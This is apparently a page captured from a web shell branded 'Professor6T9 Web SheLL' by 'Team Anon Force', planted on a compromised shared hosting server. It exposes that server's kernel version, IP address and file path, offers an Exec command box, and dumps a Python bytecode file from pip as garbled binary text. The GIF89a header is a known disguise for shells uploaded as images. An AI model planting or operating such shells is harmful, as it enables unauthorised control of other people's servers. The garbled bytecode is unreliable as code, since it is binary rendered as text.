GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
alt
/
python310
/
lib
/
python3.10
/
site-packages
/
pip
/
_internal
/
models
/
__pycache__
[ HOME ]
Exec
Submit
File Name : direct_url.cpython-310.pyc
o ai� � @ sT d Z ddlZddlZddlZddlmZmZmZm Z m Z mZmZ g d�Z ed�ZdZe�d�ZG dd � d e�Z d"d eeef de e ded e e de e f dd�Z d"d eeef de e ded e e def dd�Zdee d ddfdd�Zdedeeef fdd�ZG dd� d�ZG dd� d�ZG dd� d�Zeeeef ZG d d!� d!�ZdS )#z PEP 610 � N)�Any�Dict�Iterable�Optional�Type�TypeVar�Union)� DirectUrl�DirectUrlValidationError�DirInfo�ArchiveInfo�VcsInfo�Tzdirect_url.jsonz.^\$\{[A-Za-z0-9-_]+\}(:\$\{[A-Za-z0-9-_]+\})?$c @ s e Zd ZdS )r N)�__name__� __module__�__qualname__� r r ��/builddir/build/BUILDROOT/alt-python310-pip-21.3.1-5.el8.x86_64/opt/alt/python310/lib/python3.10/site-packages/pip/_internal/models/direct_url.pyr s r �d� expected_type�key�default�returnc C s4 || vr|S | | }t ||�std�|||���|S )z3Get value from dictionary and verify expected type.z-{!r} has unexpected type for {} (expected {}))� isinstancer �format�r r r r �valuer r r �_get s ��r c C s( t | |||�}|d u rt|� d���|S )Nz must have a value)r r r r r r � _get_required) s r �infos�InfoTypec C sF dd� | D �} | s t d��t| �dkrt d��| d d usJ �| d S )Nc S s g | ]}|d ur|�qS �Nr )�.0�infor r r � <listcomp>3 s z#_exactly_one_of.<locals>.<listcomp>z/missing one of archive_info, dir_info, vcs_info� z1more than one of archive_info, dir_info, vcs_infor )r �len)r r r r �_exactly_one_of2 s ��r'